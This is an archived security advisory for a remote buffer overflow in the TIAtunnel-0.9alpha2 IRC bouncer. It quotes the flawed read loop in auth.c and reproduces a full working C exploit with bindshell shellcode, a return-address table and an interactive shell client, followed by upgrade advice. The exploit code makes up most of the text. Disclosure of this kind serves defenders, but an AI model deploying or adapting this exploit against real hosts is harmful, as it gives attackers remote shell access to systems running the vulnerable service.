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TUCoPS :: Linux :: Apps N-Z :: tiat~1.htm

TIAtunnel exploitable buffer overflow



Vulnerability

    TIAtunnel

Affected

    TIAtunnel-0.9alpha2

Description

    Following  is  based  on  a  qitest1's  security  advisory   #001.
    TIAtunnel is a simple IRC bouncer that allows access from a simple
    IPv4 box to any kind of well-known server.

    A remote attacker can overflow a buffer and execute arbitrary code
    on the system with the  privileges of the user running  TIAtunnel.
    Infact in auth.c at line 28 we have:

        struct tunnel *auth_conn(int *csock, int entries)
          {
              char authline[512];                     /* static char buf */
              struct tunnel *t_current;
              int i = 0;

              // Read one line from the client
              bzero(authline, 512);
              while((authline[i - 1] != '\n') && (authline[i - 1] != '\r') &&
              (i < 1024)) {                           /* 1024?! =) */
                      read(*csock, (authline + i++), (size_t)1);
              }

    This bug can be succesfully exploited by a remote attacker.  There
    is a  demonstrative exploit  code below.   See the  code for  more
    info.

    /*
     *  TIAtunnel-0.9alpha2 Linux x86 remote exploit
     *  by qitest1 - 5/06/2001
     *
     *  Shellcode is executed with the privileges of the program. I
     *  noticed that with a simple execve() a shell was executed but its
     *  IO was linked with the term where TIAtunnel was launched. This
     *  is not a problem for us if we use a bindshell code.
     *
     *  Greets: recidjvo->Tnx for this bug. And now you can really smile.
     *	    Nail    ->Dear friend ;)
     *  Hmm.. 0x69 seems to strike again..
     */

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define RETPOS 		516

    struct targ
    {
       int                  def;
       char                 *descr;
       unsigned long int    retaddr;
    };

    struct targ target[]=
        {
          {0, "RedHat 6.2 with TIAtunnel-0.9alpha2 from tar.gz", 0xbffff67c},
          {69, NULL, 0}
        };

    char shellcode[] =		/* bindshell at port 30464 */
      "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
      "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
      "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
      "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
      "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
      "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
      "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
      "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
      "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
      "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
      "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
      "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

    char		mybuf[RETPOS + 4 + 1 + 1];

    int             sockami(char *host, int port);
    void		do_mybuf(unsigned long retaddr);
    void		shellami(int sock);
    void            usage(char *progname);

    main(int argc, char **argv)
    {
    int 	i,
	    sel = 0,
	    port = 0,
	    offset = 0,
	    sock,
            cnt;
    char 	*host = NULL;

      printf("\n  TIAtunnel-0.9alpha2 exploit by qitest1\n\n");

      if(argc == 1)
            usage(argv[0]);
      while((cnt = getopt(argc,argv,"h:p:t:o:")) != EOF)
        {
       switch(cnt)
            {
       case 'h':
         host = strdup(optarg);
         break;
       case 'p':
         port = atoi(optarg);
         break;
       case 't':
         sel = atoi(optarg);
         break;
       case 'o':
         offset = atoi(optarg);
         break;
       default:
         usage(argv[0]);
         break;
            }
        }
      if(host == NULL)
            usage(argv[0]);
      if(port == 0)
	    usage(argv[0]);

      printf("+Host: %s\n  as: %s\n", host, target[sel].descr);
      printf("+Connecting to %s...\n", host);
      sock = sockami(host, port);
      printf("  connected\n");

      target[0].retaddr += atoi(argv[1]);
      printf("+Building buffer with retaddr: %p...\n", target[0].retaddr);
      do_mybuf(target[0].retaddr);
      strcat(mybuf, "\n");
      printf("  done\n");
      send(sock, mybuf, strlen(mybuf), 0);
      printf("+Overflowing...\n");

      printf("+Zzing...\n");
      sleep(2);
      printf("+Getting shell...\n");
      sock = sockami(host, 30464);
      shellami(sock);
    }

    int
    sockami(char *host, int port)
    {
    struct sockaddr_in address;
    struct hostent *hp;
    int sock;

      sock = socket(AF_INET, SOCK_STREAM, 0);
      if(sock == -1)
	    {
              perror("socket()");
              exit(-1);
            }

      hp = gethostbyname(host);
      if(hp == NULL)
            {
              perror("gethostbyname()");
              exit(-1);
            }

      memset(&address, 0, sizeof(address));
      memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
      address.sin_family = AF_INET;
      address.sin_port = htons(port);

      if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
            {
              perror("connect()");
              exit(-1);
            }

      return(sock);
    }

    void
    do_mybuf(unsigned long int retaddr)
    {
    int		i,
		    n = 0;
    unsigned long 	*ret;

      memset(mybuf, 0x90, sizeof(mybuf));
      for(i = RETPOS - strlen(shellcode); i < RETPOS; i++)
	    {
              mybuf[i] = shellcode[n++];
	    }
      ret = (unsigned long *) (mybuf + RETPOS);
      *ret = retaddr;
      mybuf[RETPOS + 4] = '\x00';
    }

    void
    shellami(int sock)
    {
    int             n;
    char            recvbuf[1024];
    char            *cmd = "id; uname -a\n";
    fd_set          rset;

      send(sock, cmd, strlen(cmd), 0);

      while (1)
        {
          FD_ZERO(&rset);
          FD_SET(sock,&rset);
          FD_SET(STDIN_FILENO,&rset);
          select(sock+1,&rset,NULL,NULL,NULL);
          if (FD_ISSET(sock,&rset))
            {
              n=read(sock,recvbuf,1024);
              if (n <= 0)
                {
                  printf("Connection closed by foreign host.\n");
                  exit(0);
                }
              recvbuf[n]=0;
              printf("%s",recvbuf);
            }
          if (FD_ISSET(STDIN_FILENO,&rset))
            {
              n=read(STDIN_FILENO,recvbuf,1024);
              if (n>0)
                {
                  recvbuf[n]=0;
                  write(sock,recvbuf,n);
                }
            }
        }
      return;
    }

    void
    usage(char *progname)
    {
    int             i = 0;

      printf("Usage: %s [options]\n", progname);
      printf("Options:\n"
             "  -h hostname\n"
	     "  -p port\n"
             "  -t target\n"
             "  -o offset\n"
             "Available targets:\n");
      while(target[i].def != 69)
            {
              printf("  %d) %s\n", target[i].def, target[i].descr);
              i++;
            }

      exit(1);
    }

Solution

    All users of tiatunnel-0.9alpha2 or earlier must upgrade to alpha3
    to fix a  buffer overflow found  by qitest1.    Alpha3 version  is
    available on:

        http://tiatunnel.pkcrew.org/
        http://tiatunnel.sourceforge.net/


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